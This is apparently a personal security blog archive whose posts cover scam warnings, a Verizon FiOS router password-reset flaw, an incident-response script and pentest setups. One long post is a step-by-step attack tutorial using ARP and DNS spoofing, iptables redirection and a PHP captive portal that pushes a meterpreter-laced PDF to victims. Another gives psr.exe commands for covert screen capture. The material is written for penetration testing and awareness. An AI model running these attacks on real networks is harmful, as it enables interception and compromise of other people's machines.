Two Wrongs Make A Right?

While I was checking my feeds the other day I noticed the article here from The Register. The gist of it is a Russian startup has a service that will disrupt torrents.  The technical information is still sketchy, but here’s a quote of a quote from The Register article: “We used a number of servers to make a connection to each and every p2p client that distributed this film,” Klimenko says of the technology test. “Then Pirate Pay sent specific traffic to confuse these clients about the real I.P. addresses of other clients and to make them disconnect from each other.”  Sounds suspiciously close to the old TCP spoofed reset denial of service from back in the day to me.  Rather sending sending RST’s they’re just sending bogus IP info or something.

This seems like it would be on the wrong side of the law in some countries.  Maybe not, could be a grey area.  My thought: Is DoS-ing a service you (or your investors) think is wrong make it rightlegal?  And let’s look at what a DoS is from wikipedia “In computing a denial-of-service attack (DoS attack) or distributed denial-of-service attack (DDoS attack) is an attempt to make a computer or network resource unavailable to its intended users. ”  The Pirate Pay sounds like they’re DoS-ing a service to me.  I’d be interested to hear what the community has to say?  I don’t want to turn this into a “pro-piracyanti-piracy” debate, this more about the principal behind their approach:  What do you think about a company using tools or techniques to disrupt operations or traffic on other users’ machines?

Advertisements

Don’t Wait, and DON’T CLICK!

If you browse or are redirected to a website or click a link and see a screen like the one below, do not wait, simply close the browser. That “Wait Please” is static text, however if you look at the page source there are several malicious javascripts (second picture) attempting to send you to a URL that usually has some malware or drive by download (FakeAV most of the time).

mal2

jscriptmal

I’ve seen quite a bit of this the last few weeks, and most of it has been the result of someone clicking on a link from within a spam email. Here’s a protip (pass on to your friends, family, colleagues and anyone who will listen): If you get an email that is concerning, don’t just blindly click the link. In the below case, if you simply hover your mouse over the links you’ll see they point to pages that have nothing to do with the company that the email is claiming to be from.

badverizon

If you must follow the link use a browser sandbox like sandboxIE.

Mobile Malware via a FAX

This is a new school twist to an old school scam, fax machine spam.  Miscreants would send out bogus faxes with scam numbers many times just trying to hawk “dealz” or, in some cases try to phish info from the caller.  But, for the most part fax machine spam has subsided (i think, i have no real data, just a hunch).

A friend, who wishes to remain anonymous, said that several of these faxes appeared at her office over the last two days.  She forwarded me a scan of one to review.

You can see that this is all sorts of wrong, even the QR codes look like they were psychically  pasted (after the fact) on this fax.  What was interesting is that the QR code leads to a site that wants you to download an app (link for both Andoird and Apple devices) to install on your phone.  I’ve redacted the QR codes and numbers to protect the innocent (and inept).

Looking into it further these are bogus premium rate SMS apps that send text messages to numbers the scammers control, then you get charged for premium SMS messages and they make cash.  Be warned, don’t just scan QR codes everywhere.  I wonder how many people at my friends company used their neato smart phone to follow those codes and installed those apps?  Maybe it’s not a bad idea to protect your main corporate fax number a bit, too.

Home Network Users Be Ware

You can reset the router password of most stock setups of Verizon’s FiOS Internet service without authorization, and without physical access.  That is a bold statement, but one that I have found to be true every single time I test it out.  And if I’ve found this out, chances are good that plenty of others have as well.  I have called and emailed Verizon several times about this issue and have gotten a mix of “I didn’t know that was possible”, to “Yeah, that’s a value add feature for our customers”.  Either way the big V has not addressed the problem.  My hope is that someone brings this up to the President of Verizon Security Awesomeness  and says “Uhh, we may need to rethink this one!”.

For brevity’s sake I’ll sum it up here: You can download the Verizon In Home Agent and reset the router password of any FiOS router. The only requirement is you be on the same network as the router. No authentication required (See picture, note it doesn’t ask for old password!).

For the long version expand the box below.

[learn_more caption=”Click to Expand The Long Story”] I found this issue out by accident, after I moved. I had Verizon come out and transfer my FiOS service to my new address. The tech was doing the usual stuff, then said “Now I have to verify connectivity. Do you have a computer we can use to test it out?”. I ambled up and set my laptop in front of him, which was running Ubuntu. The tech instantly stated, “Uh, we don’t officially support machines unless they’re a Windows PC.” I browsed the Internet and was satisfied. He said, “We have to run a program to test connectivity or I don’t get credit for the install”. The “program” in question was an exe. ~Sigh~ Ok, fine, so I booted up my Windows 7 VM. He plugged in a thumb drive and fired off some exe. Now, I won’t even go in to the fact that I would usually NEVER let anyone plug in a random thumb drive to my PC and run some exe, but this was a VM and I wanted him to finish, so I held my tongue. The exe launched some apps that looked like they were testing different aspects of my FiOS service. But for I’ll I know I was being enrolled in a botnet. But that’s neither here nor there.

When all the colors on the screen showed green he said “Now I’m going to show you about Verizon’s In Home Agent”. I didn’t feel like dealing with it, but he was in full on canned speech mode. “It let’s you diagnose issues, collect log info for support and do some other neat stuff, like reset the router password.” Fine, fine, get out thank you, enjoy your life tech-guy. When he left I went to log in to the router with the password he had left me (Password1). Of course wireless security was set to what Verizon always sets it to: WEP. I went in changed to WPA2 PSK, and changed the passphrase, then I went to change the password but accidentally closed the window before I did. Shucks… but wait… the In Home Agent screen was up and the option “Change Password” was sitting right there. Ok, I’ll bite. So i clicked it. It asked for a new password. It DID NOT ask for an old one. Hmm, so i typed in a new password. Then I tried to log into the router. My new password worked. Interesting. Well, maybe since the application was running earlier it cached the first password when i logged into the site… I dunno how, but maybe. So, I reboot and used the In Home Agent and changed the password to something new, without being prompted for the old one. Fascinating. I went to my neighbor later and asked if I could test something out. They owe me since I have fixed their computers for free, so they let me tinker. They let me connect to their network (which was WEP) and I ran the In Home Agent. I then preceded to change their router password without being asked for the original. Yikes.
[/learn_more]

My first call to Verizon, I explained how most times Verizon techs come out for a FiOS move or install they set wifi security to WEP.  I was told this was because not all customers’ computers support WPAWPA2, and they want to ensure that their customers can use their wifi.  Ok, but WEP can be cracked in minutes.  There have been dozens of articles published on how to do it.  But, that’s not the worst part.  If i get on to a network (crack their WEP or am allowed in) all I have to do is run the In Home Agent and I can reset their router password.  I dont have to MiTM them, nor find vulns in their PC’s to exploit, I can just own them at their gateway.  Redirect DNS where I want, set new routes.  “Hmm, I’ll inform my manager about your concerns”.  That’s all I got the first call.  Several other calls, and several emails later there has been no update to the In Home Agent.

I did get one tech who said “Well, I mean you know, if you’re on the network we figure you’re allowed to be… so you can reset the password I guess”.  Ok, but if i crack the WEP I got on without being allowed to be…  or if I’m a parent and I want to set parental controls or filters all my kid has to do is reset my router password and log in… ~sigh~ it doesn’t get through.

I guess a bullet point here is (obviously) don’t use WEP, and even if you use WPA2, be careful who you allow on your network.  Any guest on your network can reset your router password.  And, how often do you log in and check that, anyways?

Hopefully having this on the Interwebs will get them to wake up.  Because a concerned customer’s harassment apparently can’t.

Remote Pentest Setup – Multiple Default Gateways

Sometimes I’ll have an internal security assessment lined up and the client is amenable to having a remote testing device sent to them.  The goal being to be able to perform an internal penetration testsecurity assessment without having to physically be there.  This setup is win-win in my opinion: cuts down on travel costs which is good for everyone.  If you think about it, you don’t really need to be there, you just have to get access to the network.  You can even perform wifi pen testing, as long as your remote setup is near an AP.

I like to have a dedicated interface for ONLY remote access (sshnx serverfreenx or openvpn reverse back to me), when I’m doing 100% remote assessments.  Then I have a second interface for attackingscanning etc.  If wireless is in scope I’ll have my third interface (wlan obviously).

When I first started setting the remote machines up I experimented quite a bit.  I found that the setup was “flaky” if you simply assigned IP’s to the interfaces and hoped it worked.  I messed around with trying to manually set multiple default gateways, but that didn’t work very well.  I also found that a lot of tools (even the ones that allow you to choose an interface) will not sendreceive ALL traffic over the one you specify.

The solution that I chose was using IP ROUTE and IP RULE to ensure that any traffic sent to or from an interfaceIP would use the default gateway that i assigned it.

Example:

eth0 will be DHCP – It’s the interface the client can plug into their internal network.  You’ll get an IP from DHCP (with the default gateway).

eth1 will be statically set, and will be for your remote access (either reverse of bind).

First we need to create a special routing table:

 echo "1 pentest" >> /etc/iproute2/rt_tables 

Next, we set the routes:

ip route add 10.1.1.0/24 dev eth1 src 10.1.1.2 table pentest

ip route add default via 10.1.1.1 dev eth1 table pentest

Notice above we added the information to populate the “pentest” routing table.  It has a route and a default gateway now.

Below we set the rules to send all the traffic to and from an IP address to the pentest routing table.

ip rule add from 10.1.1.2/32 table pentest

ip rule add to 10.1.1.2/32 table pentest

Now, no matter what happens to eth0 your remote access interface is solid.  You can do the same thing for a wlan interface as well.  Simply create a second routing table and add the routes and rules.

I pulled most of this technique from this site.  Works like a champ for my purposes!

M$ Screencap Application For Troubleshooting… And Sleuthy Spying

I was recently made aware by an infosec colleague of mine DMFH (aka Donny Harris) about an M$ utility called the Problem Step Recorder, aka psr.exe.  It comes standard on Windows 7 machines.  In a nutshell it’s used to provide a step-by-step breakdown of user activity to provide to tech support after a user has re-created a problem, complete with screen captures!  NOTE: it does NOT capture keystrokes.  So, thankfully M$ did not embed a keylogger into Windows 7.  It shows a script of sorts of user’s activity in windows, info about PIDs, what mouse buttons are clicked and different hooks and internal system calls.  What got me was the screen captures… I know there are metasploit modules (screenspy and screenshot) and AutoIT apps, and that every keylogger on earth has a screencap ability.  DMFH made a good point tho: psr.exe would not be caught by most AV’s being that it is a signed and trusted system utility.  And, if a user sees psr.exe in their taskmgr and google it, they’ll see its an M$ troubleshooting tool, so they may be less concerned with it.

I realize that if you’re on a box and can run psr.exe you’ve already owned it, or are close to doing so; this is not the next l33t h@x0r attack, but another tool in your arsenal.  One use case could be you have shell access to machine (no meterpreter) and you can’t figure out a way to get tools onto the box for some reason.  If it’s a Windows 7 (didn’t find it on server 2k8 r2) you can grab screencaps and save them somewhere you can hopefully access.  Also, to reiterate my point, it’s an M$ utility so you don’t have to bring in another app that could trigger AV.

Below are a few pictures showing what the web archive (.mht) file contained.

Here are the commands to run psr.exe from the cli.  I did try it from a shell gained via metasploit and it worked like  a champ.  The key is migrate (if you’re not already running as them) into a PID of a user to capture that users’ session.

 psr.exe /start /output c:Usersusernametest.zip /sc 1 /gui 0

You need to issue (or schedule task) the below command to stop psr.exe from runningrecording.

psr.exe /stop

Here’s a blog post I found that details some of the switches of psr.exe.

Incident Response Script

When dealing with PC’s that are suspected to have a virus there are a myriad of tools to perform “forensic” tasks. However none of them met ALL of my needs. Most got some of the data, were constrained to a particular format, or required user intervention. Not helpful if you want to instruct tier 1 support staff to grab a quick snapshot of data and put it into a ticket. Or, perhaps you want to automate the virus incident response acquisition process. Either way I like to customize solutions to fit my needs and I recently did just that. I figured I’d share my script with the public in case someone else finds a use for this.

NOTE: This is not a forensically sound acquisition, since it requires you to copy files to the PC and run them locally.

I have recently (and repetitively) needed to grab a lot of info from PC’s that are coming up infected with viruses and the enterprise class virus suite in use is mums the word.

I wanted to grab the usual suspects:
Prefetch
TCPUDP connections (And map them to their servicesbinariesPID’s)
Open files
Event logs
Services
Usercomputer temptemp internet files
IE history
Some reg keys (autorun, MRU etc.)

I cooked up a windows script that uses free tools (mostly Sysinternals, TZWorks and Nirsoft ) to do just that.

I like the output; it’s what I’m used to and works for me. Please feel free to comment on additions or where this can be modified.

Unfortunately the tools’ EULAs do not allow the tools to be redistributed so I will simply post the file structure and script (with links for the tools).

Also, some of the info I gather is in a format that can be analyzed with other tools after the fact. For example: for the prefetch info I gather the data with pf.exe, but I love the tool WinPrefetchView by Nirsoft, so I also copy the entire prefetch directory to be viewed by that tool later. Similarly, I like to use IEHistoryView (again Nirsoft) so I copy users’ history folders as well.

Everything else is a text file that contains the juicy bits of information that can help put together a picture of a system and help identify any rogue applicationsservices that are running. I also copy the users’ temp and temporary internet directories (so be careful if there’s a live virus binary in there!).

This works for XP, and I think Windows 7 (untested on 7, I think the only addition would be a few new reg locations).

I hope you find this useful.

Enoy!

The folder structure is important, since my script depends on it.

My folder structure looks like this:

(IRT = Incident Response Tool)

Below it is two folders, bin and logs.

Beneath bin I have the following files:
pf.exe
NOTE: you can just download the PSTools zip file which contains all of the below tools
PsExec.exe
psfile.exe
PsInfo.exe
PsList.exe
psloglist.exe
PsService.exe
Tcpvcon.exe

In the root of the IRT folder place a windows command file. I call mine IRT.cmd.

IRT.cmd:

@echo off
mkdir "%~dp0logs%computername%services"
mkdir "%~dp0logs%computername%network"
mkdir "%~dp0logs%computername%system_logs"
mkdir "%~dp0logs%computername%REG"
mkdir "%~dp0logs%computername%Windows Temp"
cd bin
psservice /accepteula >>"%~dp0logs%computername%services%computername%_services.txt"
psloglist application /accepteula >> "%~dp0logs%computername%system_logs%computername%_app_log.txt"
psloglist system /accepteula >> "%~dp0logs%computername%system_logs%computername%_sys_log.txt"
psloglist security /accepteula >> "%~dp0logs%computername%system_logs%computername%_sec_log.txt"
pslist /accepteula >> "%~dp0logs%computername%services%computername%_processes.txt"
psinfo /accepteula >> "%~dp0logs%computername%services%computername%_sys_info.txt"
psfile /accepteula >> "%~dp0logs%computername%network%computername%_open_files.txt"
tcpvcon -a /accepteula >> "%~dp0logs%computername%network%computername%_network.txt"
dir c:windowsprefetch*.pf /b /s | pf -v >> "%~dp0logs%computername%%computername%_pf_out.txt"
REM netstat -anob >> "%~dp0logs%computername%_netstat.txt" <--- don't need these due to tcpvcon
cd Fport-2.0
fport >> "%~dp0logs%computername%network%computername%_fport.txt"
cd ../
xcopy c:windowsprefetch "%~dp0logs%computername%prefetch" /E /Y /I
for /F "tokens=1,2 delims= " %%A IN ('dir /B "%userprofile%.."') DO xcopy "%userprofile%..%%ALocal SettingsTemp" "%~dp0logs%computername%temp%%Atemp" /E /Y /I /H
for /F "tokens=1,2 delims= " %%A IN ('dir /B "%userprofile%.."') DO xcopy "%userprofile%..%%ALocal SettingsHistory" "%~dp0logs%computername%history%%Ahistory" /E /Y /I /H
for /F "tokens=1,2 delims= " %%A IN ('dir /B "%userprofile%.."') DO xcopy "%userprofile%..%%ALocal SettingsTemporary Internet FilesContent.IE5" "%~dp0logs%computername%temp%%Atemp_internet" /E /Y /I /H
xcopy "C:WindowsTemp" "%~dp0logs%computername%Windows Temp" /E /Y /I /H
for /F %%A IN ('reg query HKU') DO reg query "%%ASoftwareMicrosoftWindowsCurrentVersionExplorerComDlg32OpenSaveMRU" /s >> "%~dp0logs%computername%REGmru.txt"
for /F %%A IN ('reg query HKU') DO reg query "%%ASoftwareMicrosoftInternet ExplorerTypedURLs" /s >> "%~dp0logs%computername%REGmru.txt"
for /F %%A IN ('reg query HKU') DO reg query "%%ASoftwareMicrosoftWindowsCurrentVersionRun" /s >> "%~dp0logs%computername%REGrun.txt"
for /F %%A IN ('reg query HKU') DO reg query "%%ASoftwareMicrosoftWindowsCurrentVersionRunOnce" /s >> "%~dp0logs%computername%REGrun.txt"
reg query "HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun" /s >>"%~dp0logs%computername%REGrun.txt"
reg query "HKLMSOFTWAREMicrosoftWindowsCurrentVersionRunOnce" /s >>"%~dp0logs%computername%REGrun.txt"
reg query "HKLMSOFTWAREMicrosoftWindowsCurrentVersionRunOnceEx" /s >>"%~dp0logs%computername%REGrun.txt"
reg query "HKLMSOFTWAREMicrosoftWindowsCurrentVersionRunServices" /s >>"%~dp0logs%computername%REGrun.txt"
reg query "HKLMSOFTWAREMicrosoftWindowsCurrentVersionRunServicesOnce" /s >>"%~dp0logs%computername%REGrun.txt"
reg query "HKLMSYSTEMCurrentControlSetServices" /s >>"%~dp0logs%computername%REGservices.txt"
reg query "HKLMSOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Options" /s >>"%~dp0logs%computername%REGdebugger.txt"
reg query "HKCRexefileshellopencommand" /s >>"%~dp0logs%computername%REGshell_open.txt"

Like I said above I also have some other tools I use for static analysis that the script does not use. But, I can use them on the PC in question (like tcpview or currports) or I can use some to view the output from the script (WinPreFetchView and IEHistoryView). Here’s a list of the tools I prefer and keep with me.

currports
IEHistoryview
ofview
ProcessMonitor
TCPView
winprefetchview

After running IRT.cmd a folder will be created beneath the logs directory containing sub folders with the data gathered by the script.

Happy hunting!

Captive Audience: Using iptables and php as a home grown captive portal during penetration tests

This, like all penetration testing methods or discussions should be used for educationalprofessional purposes only. The purpose of this post is to show an interesting client based attack method that can be used in penetration testing. Abusing networks or computers that you do not have permission to be messing with is not smart and can get you into a lot of trouble.

The idea of a captive portal is not new. Anytime you’ve gone to a hotel or local coffee shop and seen the terms of service for using their free Wifi you’ve had your web traffic redirected to a page of the establishment’s choosing and been forced to view said page. When I put it like that doesn’t it sound nasty? And, in the world of pen testing, where browserclient side exploits are a shoe in into networks doesn’t the idea of a captive portal sound like an amazing tool? I hesitate to say this will work 100% of the time, because there are absolutely no absolutes. And while I never exaggerate (never in a million years!) I feel justified in saying this should work most of the time. For me, this attack vector has worked 100% of the time. Some of the scenarios where I’ve used the below method are wireless security testing, or internal penetration tests (or as a parlor trickimpromptu security training session).

What follows is a not so brief tutorial demonstrating how to setup a captive portal for the purpose of obtaining remote access to a target computer.

Summary of attacks used: ARP spoofing MITM, DNS spoofing, traffic redirection, malicious pdf file.

The gist of the attack is this: you’re on a LAN. You play man in the middle and force ALL of the target’s web traffic to view your page first before you pass it on to the intended destination. The target (be it a single host or an entire broadcast domain) is forced to view a page you choose. This could be used to supply browser exploits, steal credentials, or drop payloads on to the victim. NOTE: if you do attempt this against an entire subnet you better have one heckuva laptop with several NICs or you will DOS the network.

There are a lot of open source distros that are bundled captive portals, but I found this method to be the most customizable, and it suited my needs. I used the following site heavily as a reference when I started working on this attack a few months ago, and customized as I saw fit.

I’ll describe a scenario where a user is sent to a web page and has to open a malicious PDF and input a code from said PDF before they can continue browsing.

Let’s begin. I primarily use Backtrack (used BT4 R2 for this instance) when performing security duties, but I have also gotten very friendly with CentOS or the latest Ubuntu release. Most of the instructions below were developed while using Backtrack (some of the commands and dependencies are different for the different distros, but the gist is the same).

BT4 R2 comes with an older version of iptables. We will be marking packets and for this to work you need to download the latest source for iptables (version 1.4.10).

Remove the current installation: [bash]apt-get remove iptables[/bash]

Extract the contents of iptables-1.4.10.tar.bz2: [bash]tar –xvf iptables-1.4.10.tar.bz2[/bash]

Enter the newly extracted directory and use the make method to compile iptables from source.

./configure
make
make install

Check your work by issuing the

 iptables

command. You should see version info. Success reads iptables v1.4.10. Sometimes I’ve had to close the Konsole window and open a new one to see the new iptables version, don’t know why.

Now lets setup some of the other things in the environment you’ll need. First is conntrack.

apt-get install conntrack

Next we need to create an empty text file called users.

echo blah >/var/lib/users

Now we need to change the owner for the file to be www-data.

chown www-data /var/lib/users

You’ll see later what this file is used for. I don’t use it too much but like to have it because A). it doesn’t hurt anything and B). it does give you some information, and the more information about a target the better!

Next setup the rmtrack script. This script’s purpose is to remove connection data so that the target gets forwarded to the legit site. I again need to give the credit to this blog because it provided so many good examples and code snippets.

 /usr/sbin/conntrack -L 
    |grep $1 
    |grep ESTAB 
    |grep 'dport=80' 
    |awk 
        "{ system("conntrack -D --orig-src $1 --orig-dst " 
            substr($6,5) " -p tcp --orig-port-src " substr($7,7) " 
            --orig-port-dst 80"); }"

You’ll notice this only deals with HTTP traffic. Don’t worry about that for now, I’ll get more into that later.

Don’t forget to make /usr/bin/rmtrack executable

chmod +x /usr/bin/rmtrack

We need to setup sudoers so the apache account has permissions to run some commands. Use the

visudo

command and add the following entries to your sudoers file:

 www-data ALL = NOPASSWD: /sbin/iptables -I internet 1 -t nat -m mac --mac-source ??:??:??:??:??:?? -j RETURN
www-data ALL = NOPASSWD: /sbin/iptables -D internet -t nat -m mac --mac-source ??:??:??:??:??:?? -j RETURN
www-data ALL = NOPASSWD: /usr/bin/rmtrack [0-9]*.[0-9]*.[0-9]*.[0-9]*

Now on to the iptable rules:

You can copy and paste this into a script for ease of use. Just remember that you should clear all the iptables rules before making any new changes and reapplying them. I usually make two scripts, one with the iptables rules and one to clear them. I left some of the original iptables script comments but I’ll also go in to more detail further down. Be sure to change the two IP addresses below to your victim IP (or subnet) and your attacker IP.

Here are the rules:

 IPTABLES=/usr/local/sbin/iptables

# Create internet chain and add allow rules

# This is used to authenticate users who have already signed up

$IPTABLES -A FORWARD -s VICTIM IP -p udp -m udp --dport 53 -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT

$IPTABLES -A INPUT -p udp -m udp --sport 53 -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT

$IPTABLES -N internet -t nat

# First send all traffic via newly created internet chain

# At the prerouting NAT stage this will DNAT them to the local

# webserver for them to signup if they aren't authorized

# Packets for unauthorized users are marked for dropping later

$IPTABLES -t nat -A PREROUTING -j internet

###### INTERNET CHAIN ##########

# Allow authorized clients in, redirect all others to login webserver

# Add known users to the NAT table to stop their dest being rewritten

# Ignore MAC address with a * - these users are blocked

# This awk script goes through the /var/lib/users flat file line by line

#awk 'BEGIN { FS="t"; } { system("$IPTABLES -t nat -A internet -m mac --mac-source "$4" -j RETURN"); }' /var/lib/users

# MAC address not found. Mark the packet 99

$IPTABLES -t nat -A internet -j MARK --set-mark 99

# Redirects web requests from Unauthorized users to logon Web Page

$IPTABLES -t nat -A internet -m mark --mark 99 -p tcp --dport 80 -j DNAT --to-destination ATTCKER IP

################################

# Now that we've got to the forward filter, drop all packets

# marked 99 - these are unknown users. We can't drop them earlier

# as there's no filter table

$IPTABLES -t filter -A FORWARD -m mark --mark 99 -j DROP

We’re going to be using DNS spoofing so the URL’s in the address bar don’t arouse suspicion. We need to allow DNS queries to egress, as well as allow traffic to port 53 on our own box which will return bogus responses, which is what the first two iptabels rules does.

Then we create a new chain called “internet”. The rest of the rules are spelled out in the above comments.

Basically what will happen here is your targets traffic will pass through your machine, like your machine is the router. The iptables rules will deny all traffic (except DNS queries) and forward all HTTP traffic to your own attacking box, where you serve up your PHP page.

A quick note on the /var/lib/users file. This will keep a persistent list of folks who “Register” with your captive portal. After the attack completes their MAC (among other things) is noted in this file. When you run the iptables script the awk statement will grab these users and allow them through without having to hit your page again. It’s optional. If you omit the file tho you’ll need to kill it’s reference in the php page.

Now to the PHP file. The basics are your PHP file will handle the URL header rewriting, as well as forwarding the target to their originally requested site after they’ve opened your malicious PDF.

Remember you can’t have HTML code within PHP tags so you need to start and end them appropriately within the page. There’s some dummy html in the below PHP file which is a simple form asking for a code. Once they input the proper code into the text box and hit submit their mac address will be added to an iptables rule that will allow them Internet access, and the php header operation will forward them to the site they requested originally. The php if statement is waiting for an expected value to be supplied to the code variable; that value is sitting in the PDF file you created (with metasploit). You can set it to whatever you’d like, just change the php code. Be sure to name this file index.php in the /var/www directory. Delete index.html. and I suppose you should probably start apache too…

Change the variable at the top to whatever you want (you’ll be spoofing the DNS for this address, that will be the URL they see in their browser address bar). Also you can change the expected value for the code variable to whatever you want.

Don’t forget about starting your webserver.

start-apache

Index.php file:

<?php

$server_name = "www";
$domain_name = "fakename.com";
$site_name = "Fake Site Name:";

// Path to the arp command on the local server
$arp = "/usr/sbin/arp";

// The following file is used to keep track of users
$users = "/var/lib/users";

// Check if we've been redirected by firewall to here.
// If so redirect to registration address
if ($_SERVER['SERVER_NAME']!="$server_name.$domain_name") {
  header("location:http://$server_name.$domain_name/index.php?add="
    .urlencode($_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI']));
  exit;
}

// Attempt to get the client's mac address
$mac = shell_exec("$arp -a ".$_SERVER['REMOTE_ADDR']);
preg_match('/..:..:..:..:..:../',$mac , $matches);
@$mac = $matches[0];
if (!isset($mac)) { exit; }

$code = $_POST['code'];

if ($code!="1234") {
  // code doesn’t equal expected value, so display form
  ?>
  <h1>Welcome to <?php echo $site_name;?></h1>
  To access the Internet you must first enter code from pdf below:<br><br>
  <a href="./fake.pdf">PDF File Here</a>
  <form method='POST'>
  <table border=0 cellpadding=5 cellspacing=0>
  <tr><td>Your email address:</td><td><input type='text' name='code'></td></tr>
  <tr><td></td><td><input type='submit' name='submit' value='Submit'></td></tr>
  </table>
  </form>

  <?php
} else {
    enable_address();
}

// This function enables the PC on the system by calling iptables, and also saving the
// details in the users file for next time the firewall is reset

function enable_address() {

    global $name;
    global $email;
    global $mac;
    global $users;

    file_put_contents($users,$_POST['name']."t".$_POST['email']."t"
        .$_SERVER['REMOTE_ADDR']."t$mact".date("d.m.Y")."n",FILE_APPEND + LOCK_EX);
   
    // Add PC to the firewall
    exec("sudo iptables -I internet 1 -t nat -m mac --mac-source $mac -j RETURN");
    // The following line removes connection tracking for the PC
    // This clears any previous (incorrect) route info for the redirection
    exec("sudo rmtrack ".$_SERVER['REMOTE_ADDR']);

    sleep(1);
    header("location:http://".$_GET['add']);
    exit;
}

// Function to print page header
function print_header() {

  ?>
  <html>
  <head><title><?php echo $site_name;?></title>
  <META HTTP-EQUIV="CACHE-CONTROL" CONTENT="NO-CACHE">
  <LINK rel="stylesheet" type="text/css" href="./style.css">
  </head>

  <body bgcolor=#FFFFFF text=000000>
  <?php
}

// Function to print page footer
function print_footer() {
  echo "</body>";
  echo "</html>";

}

?>

You can get creative with the HTML portion of the php page. Get a convincing page setup (wget magic!) and inform your user they need to view some agreement or accept some terms before they can continue using the web. The purpose of the having them enter a code is that the user will have no recourse but to open your malicious pdf and get the code to continue browsing. Once they do you can have your malcode execute. After they put in the code they keep browsing none the wiser. You could just have a page that has an iframe that redirects to a browser exploit, or have a form setup to gather user data. During pen tests tho this is a stark reminder to your clients how dangerous an attacker on the LAN is. This is especially useful with businesses who have a guest wireless network. Most of this attack is mitigated by using static ARP tables or something like arpwatch on the gateway. While they don’t care so much about their customers’ data security, it can be a real eye opener. Also, a lot of companies use wireless and while most (some still do though) don’t use the ancient WEP for security, a lot still employ WPA2 PSK rather than the enterprise flavor using PKI. If the WPA2 passphrase is not complex then it’s just as easy to get into as WEP!

Recently I demonstrated this attack on a hospital guest wireless network. I also explained the ease of mitigating (at least the MITM portion) to the network admin staff and the next week the hospital had enabled some anti-arp spoofing features that had already existed in their wireless infrastructure, they had just never turned them on!

A note on 443: Without presenting ugly certificate errors and going through the hassle of setting up SSL on your apache server, HTTPS is simply denied by the iptables rules. Any HTTP site is redirected to your page, any HTTPS browsing is simply timed out.

Coming down the home stretch, now its just the MITM and DNS spoofing attack.

I had originally done this step with ettercap, since it had the nice DNS spoofing switch and I was familiar with it. However, ettercap uses it’s own means of forwarding IP packets, and does not leave it to the kernel. This means all HTTPS traffic bypasses our iptables rules and is allowed. The reason it bypasses SSL traffic is I don’t enable the ettercap SSL dissection. I don’t use ettercap all the time for MITM since it’s SSL packet dissection method requires the user to accept a bogus SSL certificate. I don’t like that, not that most users won’t do it, but because some won’t know how. I don’t want them to just get confused and close the browser. I make it easy for them to get popped!

As an alternative I used dsniff’s arpsoof and dnsspoof to get the desired results.

First enable forwarding in the kernel

echo 1 > /proc/sys/net/ipv4/ip_forward

Next kick off arpsoof towards the target and also the gateway.
You need to issue two arpspoof commands

The first:

arpspoof –i interface_name –t victim_ip gateway_ip >>/dev/null 2>&1 &

poisons the targets arp cache and sends all of the targets traffic to you.

Next you need to do the same thing to the gateway so you get the responses

arpspoof –i interface-name –t gateway _ip victim_IP >>/dev/null 2>&1 &

Since stderr is being piped to stdout and stdout is sent to /dev/null you’ll need to kill the arpspoof pids when you’re done to stop arp spoofing.

As the icing on the cake we’ll setup DNS spoofing so the URL in the victim’s address bar isn’t a local address.

Setup a text file in hosts format

192.168.x.x www.fakename.com

Set the name to be the website name you used in the PHP file (those first variables you set: $server_name and $domain_name)

In another Konsole tab issue the dnsspoof command

 dnsspoof –i interface_name –f host_file_you_created_above

You can use whatever kind of sneaky payload you want, it’s just easy to use MSF to bind a meterpreter exe into a pdf (be sure to edit the “<a href” appropriately in your PHP file). Once that’s in your web root directory just wait.

Once a user who is being targeted by arpspoof tries to browse they will either be redirected to your bogus page, or if it’s an SSL site they’re trying to open they’re request will timeout (and they will hopefully attempt to browse to an HTTP page). I have yet to see a user who got suspicious and contacted anyone (it admin, or establishment staff), but simply opened the pdf, got the code and went along their merry way.

I’ve spoken to some of the mitigations of this attack above, but here’s a few more: some client security suites can recognize arpdns spoofing and prevent it, and can also disallow untrusted applications from creating sockets from the client without permission. Another means of mitigating this risk is user awareness training; explaining that users should be wary when hitting captive portals, (especially on a LAN they’ve used for sometime without seeing one and now they see one all of a sudden).

There you have it. There are many steps to this, and they all must be performed properly or the whole thing won’t work! Get out there and make the world a safer place!

Passed the Offensive Security OSCP Exam!

It has been an intense journey since I signed up for the PWBv3 course from Offsec.  But, now it is all worth it.  I received notice that I passed and can now claim the title: Offensive Security Certified Professional (OSCP).  I have taken many security courses, and have gotten a few certifications along the way, and I must say none have been as rewarding as this.  I cannot sing the praises of Offsec enough, even though sometimes during the course I wanted to curse their diabolical minds for coming up with some of the machines I had to penetrate.  I will admit that this was my second attempt at the OSCP exam.  I will not say I failed the first attempt (well actually that’s exactly what I did) but rather learned valuable lessons from it.  My first attempt was 23 hours straight (I took an hour nap) and at the end I knew I had come up short even before they emailed me.  But, this did not discourage me, it energized me!  I talked to many folks who had had a similar experience.  I will say that I hold this certification higher than any I have attained yet, bar none.

To those who are taking the course and may come across this post: Do not fret!  Remember what you’ve learned, and if you get knocked down get up and go at it again!  For those of you who are not (or have not) taken the course, check it out!  I guarantee even if you’ve been pen-testing for years this course will be a heckuva time!